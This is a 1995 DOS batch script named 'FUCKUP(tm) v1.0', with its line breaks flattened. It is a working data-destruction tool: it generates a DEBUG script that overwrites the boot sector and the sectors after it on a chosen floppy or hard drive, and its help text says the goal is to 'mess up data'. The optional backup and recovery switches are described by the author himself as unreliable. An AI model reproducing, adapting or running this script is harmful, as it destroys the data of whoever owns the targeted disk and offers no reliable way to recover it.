@echo off if '%1'=='' goto HELP if %1==/? goto HELP if %1==a: set drvno=0 if %1==b: set drvno=1 if %1==c: set drvno=2 if %1==d: set drvno=3 if %1==e: set drvno=4 if %1==f: set drvno=5 if %1==A: set drvno=0 if %1==B: set drvno=1 if %1==C: set drvno=2 if %1==D: set drvno=3 if %1==E: set drvno=4 if %1==F: set drvno=5 if %2==/CONDOM set condom=on if %2==/condom set condom=on if %2==/RECOVER goto recover if %2==/recover goto recover rem if NOT %1==/? goto HELP rem if NOT %1==a: goto HELP rem if NOT %1==b: goto HELP rem if NOT %1==c: goto HELP rem if NOT %1==d: goto HELP rem if NOT %1==e: goto HELP rem if NOT %1==f: goto HELP rem if NOT %1==A: goto HELP rem if NOT %1==B: goto HELP rem if NOT %1==C: goto HELP rem if NOT %1==D: goto HELP rem if NOT %1==E: goto HELP rem if NOT %1==F: goto HELP rem if NOT %2==/CONDOM goto HELP rem if NOT %2==/condom goto HELP rem if NOT %2==/RECOVER goto HELP rem if NOT %2==/recover goto HELP goto START goto START :HELP echo FUCKUP(tm) v1.0 Usage: echo [drive other than target drive]FUCKUP [hard or floppy target drive] [switch] echo =============================================================================== echo Target Drives: A:, B:, C:, D:, E: or F: echo Switches : /? --------- Show this help menu. echo /CONDOM ---- Enable FUCKDOWN function after being FUCKedUP. echo /RECOVER --- Recover disk(ette). echo ÿ echo eg1. C:\FUCKUP A: ------------ to mess up data on A: from C:\ echo eg3. C:\FUCKUP B: /condom ---- Enable B: to be recovered BEFORE any echo adjustment is made after destruction. echo eg4. C:\FUCKUP B: /recover --- Recover B: (/condom switch required). echo ÿ echo *WARNING! Both /condom and /recover are still under developement echo and NOT reliable! goto end :START echo FUCKUP(tm) v1.0--- whose original concept was proposed by the echo smartass James Gregory again echo Completion Date: Jan. 1995 echo --------------------------------------------------------------- echo Are you sure you want %1 to be FUCKedUP? echo Abort now, else press anykey to start FUCKing... pause > nul echo RCX > _fuck1.$$$ echo 512 > _fuck2.$$$ if %condom%==on goto safesex goto unsafesex :safesex set condom=off echo Backing up %1... echo l 100 %drvno% 0 100 > _fuck21.$$$ echo n FUCKBACK.SRC > _fuck22.$$$ echo w > _fuck23.$$$ copy _fuck2.$$$+_fuck21.$$$+_fuck22.$$$+_fuck23.$$$ _fuck2.$$$ >nul del _fuck21.$$$ del _fuck22.$$$ del _fuck23.$$$ :unsafesex echo l 100 %drvno% 1 100 > _fuck3.$$$ echo w 100 %drvno% 0 100 > _fuck4.$$$ echo q > _fuck5.$$$ copy _fuck1.$$$+_fuck2.$$$+_fuck3.$$$+_fuck4.$$$+_fuck5.$$$ fucksrc.$$$ >nul del _fuck1.$$$ del _fuck2.$$$ del _fuck3.$$$ del _fuck4.$$$ del _fuck5.$$$ echo FUCKingUP %1... debug < fucksrc.$$$ >nul del fucksrc.$$$ echo %1 should now be FUCKedUP. goto end :recover echo w 100 %drvno% 0 100 > _fuck1.$$$ echo q > _fuck2.$$$ copy _fuck1.$$$+_fuck2.$$$ fucksrc.$$$ >nul del _fuck1.$$$ del _fuck2.$$$ debug fuckback.src < fucksrc.$$$ >nul del fucksrc.$$$ :end